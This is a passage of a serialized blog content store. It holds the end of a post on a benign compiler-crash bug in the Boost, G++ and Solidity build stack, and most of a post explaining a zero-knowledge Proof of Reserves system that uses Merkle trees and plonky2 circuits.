:1440},[91035],{"type":28,"value":2023},{"type":23,"tag":504,"props":91037,"children":91038},{"style":523},[91039],{"type":28,"value":2105},{"type":23,"tag":504,"props":91041,"children":91042},{"style":1106},[91043],{"type":28,"value":91044},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":504,"props":91046,"children":91047},{"class":506,"line":1221},[91048],{"type":23,"tag":504,"props":91049,"children":91050},{"style":523},[91051],{"type":28,"value":80593},{"type":23,"tag":504,"props":91053,"children":91054},{"class":506,"line":1276},[91055],{"type":23,"tag":504,"props":91056,"children":91057},{"style":523},[91058],{"type":28,"value":884},{"type":23,"tag":24,"props":91060,"children":91061},{},[91062],{"type":28,"value":91063},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":350,"props":91065,"children":91066},{},[91067,91072,91077],{"type":23,"tag":45,"props":91068,"children":91069},{},[91070],{"type":28,"value":91071},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":45,"props":91073,"children":91074},{},[91075],{"type":28,"value":91076},"C++20 reverses the arguments",{"type":23,"tag":45,"props":91078,"children":91079},{},[91080],{"type":28,"value":91081},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":91083,"children":91084},{},[91085],{"type":28,"value":91086},"💥: segmentation fault.",{"type":23,"tag":17774,"props":91088,"children":91089},{},[],{"type":23,"tag":70,"props":91091,"children":91093},{"id":91092},"part-v-what-environments-are-affected",[91094],{"type":28,"value":91095},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":91097,"children":91098},{},[91099],{"type":28,"value":91100},"If a system uses any of the following:",{"type":23,"tag":350,"props":91102,"children":91103},{},[91104,91109,91114],{"type":23,"tag":45,"props":91105,"children":91106},{},[91107],{"type":28,"value":91108},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":45,"props":91110,"children":91111},{},[91112],{"type":28,"value":91113},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":45,"props":91115,"children":91116},{},[91117],{"type":28,"value":91118},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":91120,"children":91121},{},[91122,91124,91129,91131,91137],{"type":28,"value":91123},"They will encounter this crash ",{"type":23,"tag":296,"props":91125,"children":91126},{},[91127],{"type":28,"value":91128},"as soon as",{"type":28,"value":91130}," it processes a Solidity source with a length expression like ",{"type":23,"tag":56,"props":91132,"children":91134},{"className":91133},[],[91135],{"type":28,"value":91136},"T[0]",{"type":28,"value":91138}," or anything involving compile-time rational comparisons.",{"type":23,"tag":17774,"props":91140,"children":91141},{},[],{"type":23,"tag":70,"props":91143,"children":91145},{"id":91144},"recommendations",[91146],{"type":28,"value":91147},"Recommendations",{"type":23,"tag":350,"props":91149,"children":91150},{},[91151,91159],{"type":23,"tag":45,"props":91152,"children":91153},{},[91154],{"type":23,"tag":296,"props":91155,"children":91156},{},[91157],{"type":28,"value":91158},"Update Boost to ≥ 1.75",{"type":23,"tag":45,"props":91160,"children":91161},{},[91162],{"type":23,"tag":296,"props":91163,"children":91164},{},[91165],{"type":28,"value":91166},"Pin G++ to v14 or later",{"type":23,"tag":17774,"props":91168,"children":91169},{},[],{"type":23,"tag":70,"props":91171,"children":91172},{"id":1800},[91173],{"type":28,"value":1803},{"type":23,"tag":24,"props":91175,"children":91176},{},[91177],{"type":28,"value":91178},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":91180,"children":91181},{},[91182,91184,91188],{"type":28,"value":91183},"But it ",{"type":23,"tag":296,"props":91185,"children":91186},{},[91187],{"type":28,"value":2951},{"type":28,"value":91189}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":91191,"children":91192},{},[91193],{"type":28,"value":91194},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":91196,"children":91197},{},[91198],{"type":28,"value":91199},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":1815,"props":91201,"children":91202},{},[91203],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":91205},[91206,91207,91212,91215,91216,91217,91218,91219],{"id":88889,"depth":540,"text":88892},{"id":88978,"depth":540,"text":88981,"children":91208},[91209,91210,91211],{"id":88984,"depth":555,"text":88987},{"id":89052,"depth":555,"text":89055},{"id":89143,"depth":555,"text":89146},{"id":89727,"depth":540,"text":89730,"children":91213},[91214],{"id":89733,"depth":555,"text":89736},{"id":89844,"depth":540,"text":89847},{"id":90691,"depth":540,"text":90694},{"id":91092,"depth":540,"text":91095},{"id":91144,"depth":540,"text":91147},{"id":1800,"depth":540,"text":1803},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":91224,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91225,"description":91226,"date":91227,"author":13,"image":91228,"isFeatured":16,"onBlogPage":16,"tags":91230,"body":91233,"_type":1838,"_id":96009,"_source":1840,"_file":96010,"_stem":96011,"_extension":1843},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":91229,"width":12604,"height":12604},"/posts/por/title.png",[91231,91232],"zk","por",{"type":20,"children":91234,"toc":95986},[91235,91241,91253,91265,91270,91302,91316,91322,91334,91339,91344,91381,91386,91392,91397,91404,91409,91435,91440,91446,91466,91480,91488,91493,91498,91506,91519,91525,91607,91613,91618,91631,91636,91643,91667,91675,91680,91686,91691,92139,92152,92158,92163,92171,92189,92197,92210,92218,93879,93884,93891,93897,93902,93909,93925,93932,93940,93947,95458,95463,95470,95476,95481,95508,95513,95532,95538,95546,95564,95613,95621,95640,95662,95668,95681,95686,95693,95698,95761,95766,95773,95793,95799,95804,95810,95815,95859,95864,95872,95878,95883,95925,95930,95938,95943,95951,95955,95960,95973],{"type":23,"tag":70,"props":91236,"children":91238},{"id":91237},"what-is-a-proof-of-reserves",[91239],{"type":28,"value":91240},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":91242,"children":91243},{},[91244,91246,91251],{"type":28,"value":91245},"At its heart, ",{"type":23,"tag":296,"props":91247,"children":91248},{},[91249],{"type":28,"value":91250},"Proof of Reserves (PoR)",{"type":28,"value":91252}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":91254,"children":91255},{},[91256,91258,91263],{"type":28,"value":91257},"Think of it this way: ",{"type":23,"tag":296,"props":91259,"children":91260},{},[91261],{"type":28,"value":91262},"PoR",{"type":28,"value":91264}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":91266,"children":91267},{},[91268],{"type":28,"value":91269},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":91271,"children":91272},{},[91273,91275,91282,91284,91291,91293,91300],{"type":28,"value":91274},"We from OtterSec, in partnership with ",{"type":23,"tag":92,"props":91276,"children":91279},{"href":91277,"rel":91278},"https://backpack.exchange/",[96],[91280],{"type":28,"value":91281},"Backpack",{"type":28,"value":91283},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":92,"props":91285,"children":91288},{"href":91286,"rel":91287},"https://github.com/otter-sec/por_v2",[96],[91289],{"type":28,"value":91290},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":91292}," was based on ",{"type":23,"tag":92,"props":91294,"children":91297},{"href":91295,"rel":91296},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[96],[91298],{"type":28,"value":91299},"OKX Proof of Reserves algorithm",{"type":28,"value":91301}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":91303,"children":91304},{},[91305,91307,91314],{"type":28,"value":91306},"In addition, we also created and open-sourced a ",{"type":23,"tag":92,"props":91308,"children":91311},{"href":91309,"rel":91310},"https://github.com/otter-sec/por_verifier_server",[96],[91312],{"type":28,"value":91313},"PoR verifier server",{"type":28,"value":91315}," that receives the proofs and validates them.",{"type":23,"tag":70,"props":91317,"children":91319},{"id":91318},"why-do-we-use-zk-for-por",[91320],{"type":28,"value":91321},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":91323,"children":91324},{},[91325,91327,91332],{"type":28,"value":91326},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":296,"props":91328,"children":91329},{},[91330],{"type":28,"value":91331},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":91333}," become game-changers.",{"type":23,"tag":24,"props":91335,"children":91336},{},[91337],{"type":28,"value":91338},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":91340,"children":91341},{},[91342],{"type":28,"value":91343},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":41,"props":91345,"children":91346},{},[91347,91364],{"type":23,"tag":45,"props":91348,"children":91349},{},[91350,91355,91357,91363],{"type":23,"tag":296,"props":91351,"children":91352},{},[91353],{"type":28,"value":91354},"Sum proof",{"type":28,"value":91356},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":56,"props":91358,"children":91360},{"className":91359},[],[91361],{"type":28,"value":91362},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":270},{"type":23,"tag":45,"props":91365,"children":91366},{},[91367,91372,91374,91379],{"type":23,"tag":296,"props":91368,"children":91369},{},[91370],{"type":28,"value":91371},"Non-negativity",{"type":28,"value":91373},": All users have a ",{"type":23,"tag":296,"props":91375,"children":91376},{},[91377],{"type":28,"value":91378},"positive",{"type":28,"value":91380}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":91382,"children":91383},{},[91384],{"type":28,"value":91385},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":70,"props":91387,"children":91389},{"id":91388},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[91390],{"type":28,"value":91391},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":91393,"children":91394},{},[91395],{"type":28,"value":91396},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":91398,"children":91399},{},[91400],{"type":23,"tag":126,"props":91401,"children":91403},{"alt":128,"src":91402},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":91405,"children":91406},{},[91407],{"type":28,"value":91408},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":41,"props":91410,"children":91411},{},[91412,91425,91430],{"type":23,"tag":45,"props":91413,"children":91414},{},[91415,91417,91423],{"type":28,"value":91416},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":56,"props":91418,"children":91420},{"className":91419},[],[91421],{"type":28,"value":91422},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":91424},");",{"type":23,"tag":45,"props":91426,"children":91427},{},[91428],{"type":28,"value":91429},"The Merkle tree is made public;",{"type":23,"tag":45,"props":91431,"children":91432},{},[91433],{"type":28,"value":91434},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":91436,"children":91437},{},[91438],{"type":28,"value":91439},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":70,"props":91441,"children":91443},{"id":91442},"ottersec-porv2",[91444],{"type":28,"value":91445},"OtterSec PoRv2",{"type":23,"tag":24,"props":91447,"children":91448},{},[91449,91455,91457,91464],{"type":23,"tag":92,"props":91450,"children":91452},{"href":91286,"rel":91451},[96],[91453],{"type":28,"value":91454},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":91456},", which uses the ",{"type":23,"tag":92,"props":91458,"children":91461},{"href":91459,"rel":91460},"https://github.com/0xPolygonZero/plonky2",[96],[91462],{"type":28,"value":91463},"plonky2 ZK algorithm",{"type":28,"value":91465}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":91467,"children":91468},{},[91469,91471,91478],{"type":28,"value":91470},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":92,"props":91472,"children":91475},{"href":91473,"rel":91474},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[96],[91476],{"type":28,"value":91477},"Vitalik's proof of solvency",{"type":28,"value":91479},", which was not optimal.",{"type":23,"tag":24,"props":91481,"children":91482},{},[91483],{"type":23,"tag":296,"props":91484,"children":91485},{},[91486],{"type":28,"value":91487},"Non-negativity Proof",{"type":23,"tag":24,"props":91489,"children":91490},{},[91491],{"type":28,"value":91492},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":91494,"children":91495},{},[91496],{"type":28,"value":91497},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":91499,"children":91500},{},[91501],{"type":23,"tag":296,"props":91502,"children":91503},{},[91504],{"type":28,"value":91505},"Sum Proof",{"type":23,"tag":24,"props":91507,"children":91508},{},[91509,91511,91517],{"type":28,"value":91510},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":56,"props":91512,"children":91514},{"className":91513},[],[91515],{"type":28,"value":91516},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":91518},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":82,"props":91520,"children":91522},{"id":91521},"what-are-the-ottersec-porv2-key-points",[91523],{"type":28,"value":91524},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":41,"props":91526,"children":91527},{},[91528,91538,91556,91566,91597],{"type":23,"tag":45,"props":91529,"children":91530},{},[91531,91536],{"type":23,"tag":296,"props":91532,"children":91533},{},[91534],{"type":28,"value":91535},"Transparency",{"type":28,"value":91537},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":45,"props":91539,"children":91540},{},[91541,91546,91548,91555],{"type":23,"tag":296,"props":91542,"children":91543},{},[91544],{"type":28,"value":91545},"Time-efficiency",{"type":28,"value":91547},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":92,"props":91549,"children":91552},{"href":91550,"rel":91551},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[96],[91553],{"type":28,"value":91554},"Check our benchmark",{"type":28,"value":320},{"type":23,"tag":45,"props":91557,"children":91558},{},[91559,91564],{"type":23,"tag":296,"props":91560,"children":91561},{},[91562],{"type":28,"value":91563},"Memory-efficiency",{"type":28,"value":91565},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":45,"props":91567,"children":91568},{},[91569,91574,91576,91581,91583,91588,91590,91595],{"type":23,"tag":296,"props":91570,"children":91571},{},[91572],{"type":28,"value":91573},"Small-proofs",{"type":28,"value":91575},": We were able to reduce the final proof to less than ",{"type":23,"tag":296,"props":91577,"children":91578},{},[91579],{"type":28,"value":91580},"500KB",{"type":28,"value":91582}," and each inclusion proof to ",{"type":23,"tag":296,"props":91584,"children":91585},{},[91586],{"type":28,"value":91587},"~52KB",{"type":28,"value":91589},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":296,"props":91591,"children":91592},{},[91593],{"type":28,"value":91594},"200MB",{"type":28,"value":91596}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":45,"props":91598,"children":91599},{},[91600,91605],{"type":23,"tag":296,"props":91601,"children":91602},{},[91603],{"type":28,"value":91604},"Privacy",{"type":28,"value":91606},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":70,"props":91608,"children":91610},{"id":91609},"zk-circuits",[91611],{"type":28,"value":91612},"ZK Circuits",{"type":23,"tag":24,"props":91614,"children":91615},{},[91616],{"type":28,"value":91617},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":41,"props":91619,"children":91620},{},[91621,91626],{"type":23,"tag":45,"props":91622,"children":91623},{},[91624],{"type":28,"value":91625},"Batch circuit",{"type":23,"tag":45,"props":91627,"children":91628},{},[91629],{"type":28,"value":91630},"Recursive circuit",{"type":23,"tag":24,"props":91632,"children":91633},{},[91634],{"type":28,"value":91635},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":91637,"children":91638},{},[91639],{"type":23,"tag":126,"props":91640,"children":91642},{"alt":128,"src":91641},"/posts/por/batch-circuit.png",[],{"type":23,"tag":1909,"props":91644,"children":91645},{},[91646],{"type":23,"tag":24,"props":91647,"children":91648},{},[91649,91651,91657,91659,91665],{"type":28,"value":91650},"Note: We are using 512 as ",{"type":23,"tag":56,"props":91652,"children":91654},{"className":91653},[],[91655],{"type":28,"value":91656},"BATCH_SIZE",{"type":28,"value":91658}," and 8 as ",{"type":23,"tag":56,"props":91660,"children":91662},{"className":91661},[],[91663],{"type":28,"value":91664},"RECURSIVE_SIZE",{"type":28,"value":91666}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":1909,"props":91668,"children":91669},{},[91670],{"type":23,"tag":24,"props":91671,"children":91672},{},[91673],{"type":28,"value":91674},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":91676,"children":91677},{},[91678],{"type":28,"value":91679},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":82,"props":91681,"children":91683},{"id":91682},"leaf-nodes",[91684],{"type":28,"value":91685},"Leaf Nodes",{"type":23,"tag":24,"props":91687,"children":91688},{},[91689],{"type":28,"value":91690},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":91692,"children":91693},{},[91694],{"type":23,"tag":56,"props":91695,"children":91697},{"className":91696},[2960,2961],[91698],{"type":23,"tag":504,"props":91699,"children":91701},{"className":91700},[2966],[91702],{"type":23,"tag":504,"props":91703,"children":91705},{"className":91704,"ariaHidden":2972},[2971],[91706,91733],{"type":23,"tag":504,"props":91707,"children":91709},{"className":91708},[2977],[91710,91715,91720,91724,91729],{"type":23,"tag":504,"props":91711,"children":91714},{"className":91712,"style":91713},[2982],"height:0.6944em;",[],{"type":23,"tag":504,"props":91716,"children":91718},{"className":91717},[2988,20569],[91719],{"type":28,"value":83096},{"type":23,"tag":504,"props":91721,"children":91723},{"className":91722,"style":3167},[3069],[],{"type":23,"tag":504,"props":91725,"children":91727},{"className":91726},[3172],[91728],{"type":28,"value":601},{"type":23,"tag":504,"props":91730,"children":91732},{"className":91731,"style":3167},[3069],[],{"type":23,"tag":504,"props":91734,"children":91736},{"className":91735},[2977],[91737,91742,91747,91753,91758,91763,91769,91774,91779,91784,91790,91795,91801,91807,91814,91820,91826,91886,91891,91897,91902,91907,91912,91917,91922,91927,91932,91937,91942,91999,92004,92009,92014,92019,92024,92029,92036,92041,92047,92052,92058,92064,92069,92074,92079,92084,92089,92094,92099,92104,92109,92114,92119,92124,92129,92134],{"type":23,"tag":504,"props":91738,"children":91741},{"className":91739,"style":91740},[2982],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":504,"props":91743,"children":91745},{"className":91744,"style":20570},[2988,20569],[91746],{"type":28,"value":20573},{"type":23,"tag":504,"props":91748,"children":91750},{"className":91749},[2988,20569],[91751],{"type":28,"value":91752},"ose",{"type":23,"tag":504,"props":91754,"children":91756},{"className":91755},[2988,20569],[91757],{"type":28,"value":2716},{"type":23,"tag":504,"props":91759,"children":91761},{"className":91760},[2988,20569],[91762],{"type":28,"value":1169},{"type":23,"tag":504,"props":91764,"children":91766},{"className":91765},[2988,20569],[91767],{"type":28,"value":91768},"o",{"type":23,"tag":504,"props":91770,"children":91772},{"className":91771},[2988,20569],[91773],{"type":28,"value":55382},{"type":23,"tag":504,"props":91775,"children":91777},{"className":91776},[20698],[91778],{"type":28,"value":526},{"type":23,"tag":504,"props":91780,"children":91782},{"className":91781},[2988,20569],[91783],{"type":28,"value":92},{"type":23,"tag":504,"props":91785,"children":91787},{"className":91786},[2988,20569],[91788],{"type":28,"value":91789},"sse",{"type":23,"tag":504,"props":91791,"children":91793},{"className":91792},[2988,20569],[91794],{"type":28,"value":20711},{"type":23,"tag":504,"props":91796,"children":91799},{"className":91797,"style":91798},[2988],"margin-right:0.02778em;",[91800],{"type":28,"value":2059},{"type":23,"tag":504,"props":91802,"children":91804},{"className":91803},[2988,20569],[91805],{"type":28,"value":91806},"ba",{"type":23,"tag":504,"props":91808,"children":91811},{"className":91809,"style":91810},[2988,20569],"margin-right:0.01968em;",[91812],{"type":28,"value":91813},"l",{"type":23,"tag":504,"props":91815,"children":91817},{"className":91816},[2988,20569],[91818],{"type":28,"value":91819},"an",{"type":23,"tag":504,"props":91821,"children":91823},{"className":91822},[2988,20569],[91824],{"type":28,"value":91825},"ce",{"type":23,"tag":504,"props":91827,"children":91829},{"className":91828},[2988],[91830,91835],{"type":23,"tag":504,"props":91831,"children":91833},{"className":91832},[2988,20569],[91834],{"type":28,"value":9633},{"type":23,"tag":504,"props":91836,"children":91838},{"className":91837},[3005],[91839],{"type":23,"tag":504,"props":91840,"children":91842},{"className":91841},[3010,20623],[91843,91874],{"type":23,"tag":504,"props":91844,"children":91846},{"className":91845},[3015],[91847,91869],{"type":23,"tag":504,"props":91848,"children":91851},{"className":91849,"style":91850},[3020],"height:0.3011em;",[91852],{"type":23,"tag":504,"props":91853,"children":91855},{"style":91854},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[91856,91860],{"type":23,"tag":504,"props":91857,"children":91859},{"className":91858,"style":3030},[3029],[],{"type":23,"tag":504,"props":91861,"children":91863},{"className":91862},[3035,3036,3037,3038],[91864],{"type":23,"tag":504,"props":91865,"children":91867},{"className":91866},[2988,3038],[91868],{"type":28,"value":3001},{"type":23,"tag":504,"props":91870,"children":91872},{"className":91871},[20726],[91873],{"type":28,"value":20729},{"type":23,"tag":504,"props":91875,"children":91877},{"className":91876},[3015],[91878],{"type":23,"tag":504,"props":91879,"children":91882},{"className":91880,"style":91881},[3020],"height:0.15em;",[91883],{"type":23,"tag":504,"props":91884,"children":91885},{},[],{"type":23,"tag":504,"props":91887,"children":91889},{"className":91888},[3069],[91890],{"type":28,"value":20670},{"type":23,"tag":504,"props":91892,"children":91894},{"className":91893},[2988],[91895],{"type":28,"value":91896},"∣∣",{"type":23,"tag":504,"props":91898,"children":91900},{"className":91899},[3069],[91901],{"type":28,"value":20670},{"type":23,"tag":504,"props":91903,"children":91905},{"className":91904},[2988,20569],[91906],{"type":28,"value":92},{"type":23,"tag":504,"props":91908,"children":91910},{"className":91909},[2988,20569],[91911],{"type":28,"value":91789},{"type":23,"tag":504,"props":91913,"children":91915},{"className":91914},[2988,20569],[91916],{"type":28,"value":20711},{"type":23,"tag":504,"props":91918,"children":91920},{"className":91919,"style":91798},[2988],[91921],{"type":28,"value":2059},{"type":23,"tag":504,"props":91923,"children":91925},{"className":91924},[2988,20569],[91926],{"type":28,"value":91806},{"type":23,"tag":504,"props":91928,"children":91930},{"className":91929,"style":91810},[2988,20569],[91931],{"type":28,"value":91813},{"type":23,"tag":504,"props":91933,"children":91935},{"className":91934},[2988,20569],[91936],{"type":28,"value":91819},{"type":23,"tag":504,"props":91938,"children":91940},{"className":91939},[2988,20569],[91941],{"type":28,"value":91825},{"type":23,"tag":504,"props":91943,"children":91945},{"className":91944},[2988],[91946,91951],{"type":23,"tag":504,"props":91947,"children":91949},{"className":91948},[2988,20569],[91950],{"type":28,"value":9633},{"type":23,"tag":504,"props":91952,"children":91954},{"className":91953},[3005],[91955],{"type":23,"tag":504,"props":91956,"children":91958},{"className":91957},[3010,20623],[91959,91988],{"type":23,"tag":504,"props":91960,"children":91962},{"className":91961},[3015],[91963,91983],{"type":23,"tag":504,"props":91964,"children":91966},{"className":91965,"style":91850},[3020],[91967],{"type":23,"tag":504,"props":91968,"children":91969},{"style":91854},[91970,91974],{"type":23,"tag":504,"props":91971,"children":91973},{"className":91972,"style":3030},[3029],[],{"type":23,"tag":504,"props":91975,"children":91977},{"className":91976},[3035,3036,3037,3038],[91978],{"type":23,"tag":504,"props":91979,"children":91981},{"className":91980},[2988,3038],[91982],{"type":28,"value":2991},{"type":23,"tag":504,"props":91984,"children":91986},{"className":91985},[20726],[91987],{"type":28,"value":20729},{"type":23,"tag":504,"props":91989,"children":91991},{"className":91990},[3015],[91992],{"type":23,"tag":504,"props":91993,"children":91995},{"className":91994,"style":91881},[3020],[91996],{"type":23,"tag":504,"props":91997,"children":91998},{},[],{"type":23,"tag":504,"props":92000,"children":92002},{"className":92001},[3069],[92003],{"type":28,"value":20670},{"type":23,"tag":504,"props":92005,"children":92007},{"className":92006},[2988],[92008],{"type":28,"value":8572},{"type":23,"tag":504,"props":92010,"children":92012},{"className":92011},[3069],[92013],{"type":28,"value":20670},{"type":23,"tag":504,"props":92015,"children":92017},{"className":92016},[2988],[92018],{"type":28,"value":91896},{"type":23,"tag":504,"props":92020,"children":92022},{"className":92021},[3069],[92023],{"type":28,"value":20670},{"type":23,"tag":504,"props":92025,"children":92027},{"className":92026,"style":21028},[2988,20569],[92028],{"type":28,"value":21031},{"type":23,"tag":504,"props":92030,"children":92033},{"className":92031,"style":92032},[2988,20569],"margin-right:0.08125em;",[92034],{"type":28,"value":92035},"H",{"type":23,"tag":504,"props":92037,"children":92039},{"className":92038},[2988,20569],[92040],{"type":28,"value":75518},{"type":23,"tag":504,"props":92042,"children":92044},{"className":92043},[2988],[92045],{"type":28,"value":92046},"256",{"type":23,"tag":504,"props":92048,"children":92050},{"className":92049},[20698],[92051],{"type":28,"value":526},{"type":23,"tag":504,"props":92053,"children":92055},{"className":92054},[2988,20569],[92056],{"type":28,"value":92057},"u",{"type":23,"tag":504,"props":92059,"children":92061},{"className":92060,"style":91798},[2988,20569],[92062],{"type":28,"value":92063},"ser",{"type":23,"tag":504,"props":92065,"children":92067},{"className":92066,"style":91798},[2988],[92068],{"type":28,"value":2059},{"type":23,"tag":504,"props":92070,"children":92072},{"className":92071},[2988,20569],[92073],{"type":28,"value":2716},{"type":23,"tag":504,"props":92075,"children":92077},{"className":92076},[2988,20569],[92078],{"type":28,"value":1169},{"type":23,"tag":504,"props":92080,"children":92082},{"className":92081},[20720],[92083],{"type":28,"value":2105},{"type":23,"tag":504,"props":92085,"children":92087},{"className":92086},[3069],[92088],{"type":28,"value":20670},{"type":23,"tag":504,"props":92090,"children":92092},{"className":92091},[2988],[92093],{"type":28,"value":91896},{"type":23,"tag":504,"props":92095,"children":92097},{"className":92096},[3069],[92098],{"type":28,"value":20670},{"type":23,"tag":504,"props":92100,"children":92102},{"className":92101},[2988,20569],[92103],{"type":28,"value":92057},{"type":23,"tag":504,"props":92105,"children":92107},{"className":92106,"style":91798},[2988,20569],[92108],{"type":28,"value":92063},{"type":23,"tag":504,"props":92110,"children":92112},{"className":92111,"style":91798},[2988],[92113],{"type":28,"value":2059},{"type":23,"tag":504,"props":92115,"children":92117},{"className":92116},[2988,20569],[92118],{"type":28,"value":55382},{"type":23,"tag":504,"props":92120,"children":92122},{"className":92121},[2988,20569],[92123],{"type":28,"value":91768},{"type":23,"tag":504,"props":92125,"children":92127},{"className":92126},[2988,20569],[92128],{"type":28,"value":55382},{"type":23,"tag":504,"props":92130,"children":92132},{"className":92131},[2988,20569],[92133],{"type":28,"value":91825},{"type":23,"tag":504,"props":92135,"children":92137},{"className":92136},[20720],[92138],{"type":28,"value":2105},{"type":23,"tag":24,"props":92140,"children":92141},{},[92142,92144,92150],{"type":28,"value":92143},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":56,"props":92145,"children":92147},{"className":92146},[],[92148],{"type":28,"value":92149},"uuid",{"type":28,"value":92151},", a username or an incremental 